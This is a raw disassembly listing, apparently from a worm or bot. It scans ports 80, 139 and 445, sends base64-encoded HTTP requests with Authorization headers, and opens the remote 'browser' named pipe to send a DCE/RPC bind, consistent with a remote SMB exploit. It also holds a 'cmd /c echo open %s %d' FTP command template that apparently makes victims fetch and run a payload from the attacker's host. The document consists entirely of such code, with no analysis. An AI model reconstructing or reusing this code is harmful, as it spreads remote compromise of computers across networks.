loc_40D01E: ; CODE XREF: sub_40CFDF+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CF05
add esp, 0Ch
leave
retn
sub_40CFDF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D031 proc near ; CODE XREF: sub_40D07D+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_427688
call sub_41C798
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_427680
fstp [esp+10h+var_10]
call sub_41C679
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41C798
inc eax
leave
retn
sub_40D031 endp
; =============== S U B R O U T I N E =======================================
sub_40D07D proc near ; CODE XREF: sub_40D21F+24p
var_40 = qword ptr -40h
mov eax, offset loc_426DF7
call sub_41CC64
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_40D6B4
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40D031
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40D0BF
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D62F
loc_40D0BF: ; CODE XREF: sub_40D07D+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D1DC
mov ebx, [ebp+10h]
loc_40D0CE: ; CODE XREF: sub_40D07D+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D0D8
push 3
jmp short loc_40D0EA
; ---------------------------------------------------------------------------
loc_40D0D8: ; CODE XREF: sub_40D07D+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D0E2
push 2
jmp short loc_40D0EA
; ---------------------------------------------------------------------------
loc_40D0E2: ; CODE XREF: sub_40D07D+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D0EB
push 1
loc_40D0EA: ; CODE XREF: sub_40D07D+59j
; sub_40D07D+63j
pop ebx
loc_40D0EB: ; CODE XREF: sub_40D07D+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_427698
fstp [esp+40h+var_40]
call sub_41C7BF
pop ecx
pop ecx
call sub_41C798
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D12A
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D12A: ; CODE XREF: sub_40D07D+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D198
add [ebp-18h], eax
loc_40D17C: ; CODE XREF: sub_40D07D+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_43245C[eax]
push eax
push 1
call sub_40D4B1
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D17C
loc_40D198: ; CODE XREF: sub_40D07D+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D1B6
push dword ptr [ebp+14h]
call sub_41AFE0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D50A
mov [ebp-18h], edi
loc_40D1B6: ; CODE XREF: sub_40D07D+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D1D0
sub esi, [ebp-1Ch]
loc_40D1C1: ; CODE XREF: sub_40D07D+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D4B1
dec esi
jnz short loc_40D1C1
loc_40D1D0: ; CODE XREF: sub_40D07D+13Fj
cmp [ebp+10h], edi
ja loc_40D0CE
push 1
pop ebx
loc_40D1DC: ; CODE XREF: sub_40D07D+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D6B4
push dword_427690
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_40D561
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D6B4
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D07D endp
; =============== S U B R O U T I N E =======================================
sub_40D21F proc near ; CODE XREF: ___:0040D41Cp
mov eax, offset loc_426E14
call sub_41CC64
sub esp, 10h
push ebx
push esi
push edi
push offset dword_43D808
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40D07D
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41B4D5
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D269
xor bl, bl
jmp short loc_40D2AD
; ---------------------------------------------------------------------------
loc_40D269: ; CODE XREF: sub_40D21F+44j
mov ecx, [ebp-18h]
mov eax, offset dword_4276A0
cmp ecx, ebx
jnz short loc_40D277
mov ecx, eax
loc_40D277: ; CODE XREF: sub_40D21F+54j
cmp [ebp+18h], ebx
jz short loc_40D27F
mov eax, [ebp+18h]
loc_40D27F: ; CODE XREF: sub_40D21F+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41B980
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4CB6A4
cmp eax, esi
jz short loc_40D2A4
xor bl, bl
jmp short loc_40D2A6
; ---------------------------------------------------------------------------
loc_40D2A4: ; CODE XREF: sub_40D21F+7Fj
mov bl, 1
loc_40D2A6: ; CODE XREF: sub_40D21F+83j
push edi
call sub_41B0B1
pop ecx
loc_40D2AD: ; CODE XREF: sub_40D21F+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D6B4
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D6B4
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D21F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_432608
push eax
call sub_41C310
add esp, 0Ch
mov eax, offset byte_429110
push eax
push eax
movzx eax, word ptr dword_4CB390
push eax
push dword ptr [ebp+8]
call sub_40AC10
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41B980
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_4324A0
push eax
call sub_40CADB
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D378
xor eax, eax
jmp loc_40D4A4
; ---------------------------------------------------------------------------
loc_40D378: ; CODE XREF: ___:0040D36Fj
mov [ebp-0Ch], esi
loc_40D37B: ; CODE XREF: ___:0040D47Bj
test esi, esi
jnz loc_40D481
push 6
push 1
push 2
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D469
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CB654
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CB694
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CB5FC
cmp eax, 0FFFFFFFFh
jz loc_40D45E
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D426
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D6B4
lea eax, [ebp+0Ch]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D6F0
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D21F
add esp, 1Ch
jmp short loc_40D45B
; ---------------------------------------------------------------------------
loc_40D426: ; CODE XREF: ___:0040D3E4j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D440
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CFDF
jmp short loc_40D458
; ---------------------------------------------------------------------------
loc_40D440: ; CODE XREF: ___:0040D430j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D45E
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CF05
loc_40D458: ; CODE XREF: ___:0040D43Ej
add esp, 0Ch
loc_40D45B: ; CODE XREF: ___:0040D424j
movzx esi, al
loc_40D45E: ; CODE XREF: ___:0040D3D7j
; ___:0040D44Aj
push ebx
call dword_4CB6EC
test esi, esi
jnz short loc_40D474
loc_40D469: ; CODE XREF: ___:0040D394j
push 3E8h
nop
call near ptr 26A0F44h
loc_40D474: ; CODE XREF: ___:0040D467j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D37B
loc_40D481: ; CODE XREF: ___:0040D37Dj
lea ecx, [ebp-8]
call sub_40C900
test esi, esi
jz short loc_40D4A2
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431B08[eax]
lea eax, dword_431B08[eax]
loc_40D4A2: ; CODE XREF: ___:0040D48Bj
mov eax, esi
loc_40D4A4: ; CODE XREF: ___:0040D373j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426DD8
loc_40D4A9: ; CODE XREF: sub_426DD8+3j
; ___:00426DF1j ...
push 1
call sub_40D6B4
retn
; END OF FUNCTION CHUNK FOR sub_426DD8
; =============== S U B R O U T I N E =======================================
sub_40D4B1 proc near ; CODE XREF: sub_40D07D+110p
; sub_40D07D+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_427690
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D4CB
call sub_42669A
loc_40D4CB: ; CODE XREF: sub_40D4B1+13j
test ebx, ebx
jbe short loc_40D502
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D62F
test al, al
jz short loc_40D502
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41B590
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D502: ; CODE XREF: sub_40D4B1+1Cj
; sub_40D4B1+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D4B1 endp
; =============== S U B R O U T I N E =======================================
sub_40D50A proc near ; CODE XREF: sub_40D07D+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_427690
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D524
call sub_42669A
loc_40D524: ; CODE XREF: sub_40D50A+13j
test ebx, ebx
jbe short loc_40D559
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D62F
test al, al
jz short loc_40D559
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_41C310
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D559: ; CODE XREF: sub_40D50A+1Cj
; sub_40D50A+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D50A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D561 proc near ; CODE XREF: sub_40D07D+17Cp
; sub_4265B0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D579
call sub_426573
loc_40D579: ; CODE XREF: sub_40D561+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D58B
mov esi, [ebp+arg_8]
loc_40D58B: ; CODE XREF: sub_40D561+25j
cmp edi, ebx
jnz short loc_40D5AD
push dword_427690
add esi, ecx
mov ecx, edi
push esi
call sub_40D725
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D725
jmp short loc_40D626
; ---------------------------------------------------------------------------
loc_40D5AD: ; CODE XREF: sub_40D561+2Cj
test esi, esi
jbe short loc_40D5F0
cmp esi, eax
jnz short loc_40D5F0
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D5C1
mov eax, offset dword_4276A0
loc_40D5C1: ; CODE XREF: sub_40D561+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D5F0
push 1
mov ecx, edi
call sub_40D6B4
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D5DC
mov eax, offset dword_4276A0
loc_40D5DC: ; CODE XREF: sub_40D561+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D626
; ---------------------------------------------------------------------------
loc_40D5F0: ; CODE XREF: sub_40D561+4Ej
; sub_40D561+52j ...
push 1
push esi
mov ecx, edi
call sub_40D62F
test al, al
jz short loc_40D626
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D60A
mov eax, offset dword_4276A0
loc_40D60A: ; CODE XREF: sub_40D561+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_41C310
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40D626: ; CODE XREF: sub_40D561+4Aj
; sub_40D561+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D561 endp
; =============== S U B R O U T I N E =======================================
sub_40D62F proc near ; CODE XREF: sub_40D07D+3Dp
; sub_40D4B1+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D641
call sub_42669A
loc_40D641: ; CODE XREF: sub_40D62F+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40D66A
mov al, [ecx-1]
cmp al, dl
jz short loc_40D66A
cmp al, 0FFh
jz short loc_40D66A
cmp edi, edx
jnz short loc_40D6A5
dec al
push edx
mov [ecx-1], al
loc_40D65F: ; CODE XREF: sub_40D62F+47j
mov ecx, esi
call sub_40D6B4
loc_40D666: ; CODE XREF: sub_40D62F+4Bj
; sub_40D62F+52j
xor al, al
jmp short loc_40D6AF
; ---------------------------------------------------------------------------
loc_40D66A: ; CODE XREF: sub_40D62F+19j
; sub_40D62F+20j ...
cmp edi, edx
jnz short loc_40D683
cmp [esp+8+arg_4], dl
jz short loc_40D678
push 1
jmp short loc_40D65F
; ---------------------------------------------------------------------------
loc_40D678: ; CODE XREF: sub_40D62F+43j
cmp ecx, edx
jz short loc_40D666
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40D666
; ---------------------------------------------------------------------------
loc_40D683: ; CODE XREF: sub_40D62F+3Dj
cmp [esp+8+arg_4], dl
jz short loc_40D6A0
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D695
cmp eax, edi
jnb short loc_40D6AD
loc_40D695: ; CODE XREF: sub_40D62F+60j
push 1
mov ecx, esi
call sub_40D6B4
jmp short loc_40D6A5
; ---------------------------------------------------------------------------
loc_40D6A0: ; CODE XREF: sub_40D62F+58j
cmp [esi+0Ch], edi
jnb short loc_40D6AD
loc_40D6A5: ; CODE XREF: sub_40D62F+28j
; sub_40D62F+6Fj
push edi
mov ecx, esi
call sub_40D78C
loc_40D6AD: ; CODE XREF: sub_40D62F+64j
; sub_40D62F+74j
mov al, 1
loc_40D6AF: ; CODE XREF: sub_40D62F+39j
pop edi
pop esi
retn 8
sub_40D62F endp
; =============== S U B R O U T I N E =======================================
sub_40D6B4 proc near ; CODE XREF: sub_40D07D+1Fp
; sub_40D07D+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D6E0
mov eax, [esi+4]
test eax, eax
jz short loc_40D6E0
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40D6D9
cmp al, 0FFh
jz short loc_40D6D9
dec al
mov [ecx], al
jmp short loc_40D6E0
; ---------------------------------------------------------------------------
loc_40D6D9: ; CODE XREF: sub_40D6B4+19j
; sub_40D6B4+1Dj
push ecx
call sub_41CC83
pop ecx
loc_40D6E0: ; CODE XREF: sub_40D6B4+8j
; sub_40D6B4+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D6B4 endp
; =============== S U B R O U T I N E =======================================
sub_40D6F0 proc near ; CODE XREF: ___:0040D410p
; sub_40D849+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_40D62F
test al, al
jz short loc_40D71E
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_41C310
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D71E: ; CODE XREF: sub_40D6F0+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D6F0 endp
; =============== S U B R O U T I N E =======================================
sub_40D725 proc near ; CODE XREF: sub_40D561+39p
; sub_40D561+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D738
call sub_426573
loc_40D738: ; CODE XREF: sub_40D725+Cj
mov ecx, edi
call sub_40D849
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40D74E
mov ebx, eax
loc_40D74E: ; CODE XREF: sub_40D725+25j
test ebx, ebx
jbe short loc_40D784
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41CC90
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D62F
test al, al
jz short loc_40D784
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40D784: ; CODE XREF: sub_40D725+2Bj
; sub_40D725+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D725 endp
; =============== S U B R O U T I N E =======================================
sub_40D78C proc near ; CODE XREF: sub_40D62F+79p
mov eax, offset loc_426E20
call sub_41CC64
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40D7B2
mov edi, [ebp+8]
loc_40D7B2: ; CODE XREF: sub_40D78C+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40D7BF
xor eax, eax
loc_40D7BF: ; CODE XREF: sub_40D78C+2Fj
push eax
call sub_41CFC5
pop ecx
mov [ebp+8], eax
jmp short loc_40D7F0
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40D7DA
xor eax, eax
loc_40D7DA: ; CODE XREF: sub_40D78C+4Aj
push eax
call sub_41CFC5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40D7EA
retn
; ---------------------------------------------------------------------------
loc_40D7EA: ; DATA XREF: sub_40D78C+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40D7F0: ; CODE XREF: sub_40D78C+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40D80E
cmp eax, edi
jbe short loc_40D7FD
mov eax, edi
loc_40D7FD: ; CODE XREF: sub_40D78C+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_41C310
add esp, 0Ch
loc_40D80E: ; CODE XREF: sub_40D78C+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D6B4
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40D82E
mov edi, ebx
loc_40D82E: ; CODE XREF: sub_40D78C+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40D78C endp
; =============== S U B R O U T I N E =======================================
sub_40D849 proc near ; CODE XREF: sub_40D725+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40D876
mov al, [esi-1]
test al, al
jz short loc_40D876
cmp al, 0FFh
jz short loc_40D876
push 1
call sub_40D6B4
push esi
call sub_41AFE0
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D6F0
loc_40D876: ; CODE XREF: sub_40D849+9j
; sub_40D849+10j ...
pop edi
pop esi
retn
sub_40D849 endp
; =============== S U B R O U T I N E =======================================
sub_40D879 proc near ; DATA XREF: ___:00429008o
test byte_4DBC74, 1
jnz short loc_40D889
or byte_4DBC74, 1
loc_40D889: ; CODE XREF: sub_40D879+7j
jmp $+5
push offset nullsub_1
call sub_41D040
pop ecx
retn
sub_40D879 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D89B proc near ; DATA XREF: ___:0042900Co
jmp $+5
sub_40D89B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40D8A0 proc near
mov eax, dword_4328C0
add eax, 6
mov dword_4CE374, eax
retn
sub_40D8A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D8AE proc near ; CODE XREF: sub_40D8AE+D0p
; ___:0040DE0Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40D8C2
or [ebp+arg_7], 1
jmp short loc_40D8C6
; ---------------------------------------------------------------------------
loc_40D8C2: ; CODE XREF: sub_40D8AE+Cj
and [ebp+arg_7], 0FEh
loc_40D8C6: ; CODE XREF: sub_40D8AE+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40D8EA
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_40D8FC
; ---------------------------------------------------------------------------
loc_40D8EA: ; CODE XREF: sub_40D8AE+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_40D8FC: ; CODE XREF: sub_40D8AE+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_41B4D5
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_40D995
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
nop
call near ptr 2720000h
test eax, eax
jz short loc_40D98C
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40D98C
push [ebp+arg_20]
call sub_41B0B1
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40D988
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_40D8AE
add esp, 2Ch
jmp short loc_40D997
; ---------------------------------------------------------------------------
loc_40D988: ; CODE XREF: sub_40D8AE+B3j
mov al, 1
jmp short loc_40D997
; ---------------------------------------------------------------------------
loc_40D98C: ; CODE XREF: sub_40D8AE+9Cj
; sub_40D8AE+A4j
push [ebp+arg_20]
call sub_41B0B1
pop ecx
loc_40D995: ; CODE XREF: sub_40D8AE+61j
xor al, al
loc_40D997: ; CODE XREF: sub_40D8AE+D8j
; sub_40D8AE+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40D8AE endp
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 0B8h ; ¸
db 0DCh ; Ü
db 60h ; `
db 0
db 0
db 0E8h ; è
db 77h ; w
db 0E1h ; á
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 68h ; h
db 0B8h ; ¸
db 0DBh ; Û
db 42h ; B
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; è
db 0A7h ; §
db 0F7h ; ÷
db 0
db 0
db 59h ; Y
db 33h ; 3
db 0DBh ; Û
db 85h ; …
db 0C0h ; À
db 59h ; Y
db 74h ; t
db 4Eh ; N
db 0FFh
db 75h ; u
db 8
db 0BEh ; ¾
db 0
db 20h
db 0
db 0
db 8Dh ;
db 85h ; …
db 24h ; $
db 0DFh ; ß
db 0FFh
db 0FFh
db 68h ; h
db 3Ch ; <
db 29h ; )
db 43h ; C
db 0
db 56h ; V
db 50h ; P
db 0E8h ; è
db 0A5h ; ¥
db 0DFh ; ß
db 0
db 0
db 6Ah ; j
db 20h
db 8Dh ;
db 85h ; …
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 53h ; S
db 50h ; P
db 0E8h ; è
db 0A6h ; ¦
db 0DBh ; Û
db 0
db 0
db 8Dh ;
db 85h ; …
db 24h ; $
db 0DFh ; ß
db 0FFh
db 0FFh
db 83h ; ƒ
db 0C4h ; Ä
db 1Ch
db 89h ; ‰
db 85h ; …
db 38h ; 8
db 0FFh
db 0FFh
db 0FFh
db 0B8h ; ¸
db 8
db 0D8h ; Ø
db 43h ; C
db 0
db 53h ; S
db 50h ; P
db 50h ; P
db 8Dh ;
db 85h ; …
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 50h ; P
db 0E8h ; è
db 43h ; C
db 8Dh ;
db 1
db 0
; ---------------------------------------------------------------------------
jmp short loc_40DA14
; ---------------------------------------------------------------------------
db 0BEh ; ¾
db 0
db 20h
db 0
db 0
; ---------------------------------------------------------------------------
loc_40DA14: ; CODE XREF: ___:0040DA0Dj
push dword ptr [ebp+8]
lea eax, [ebp-40DCh]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp-40DCh]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
nop
call near ptr 27308C8h
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40DA58
loc_40DA51: ; CODE XREF: ___:0040DB30j
; ___:0040DD06j ...
xor al, al
jmp loc_40DE9C
; ---------------------------------------------------------------------------
loc_40DA58: ; CODE XREF: ___:0040DA4Fj
push 48h
lea eax, [ebp-0B8h]
push ebx
push eax
call sub_41B590
push 10h
mov byte ptr [ebp-0B8h], 5
pop eax
mov [ebp-0B7h], bl
push 1
mov [ebp-0B4h], eax
pop edi
mov byte ptr [ebp-0B6h], 0Bh
push eax
lea eax, [ebp-98h]
push offset dword_432914
push eax
mov byte ptr [ebp-0B5h], 3
mov word ptr [ebp-0B0h], 48h
mov [ebp-0AEh], bx
mov [ebp-0ACh], ebx
mov word ptr [ebp-0A8h], 10B8h
mov word ptr [ebp-0A6h], 10B8h
mov [ebp-0A4h], ebx
mov [ebp-0A0h], edi
mov [ebp-9Ch], bx
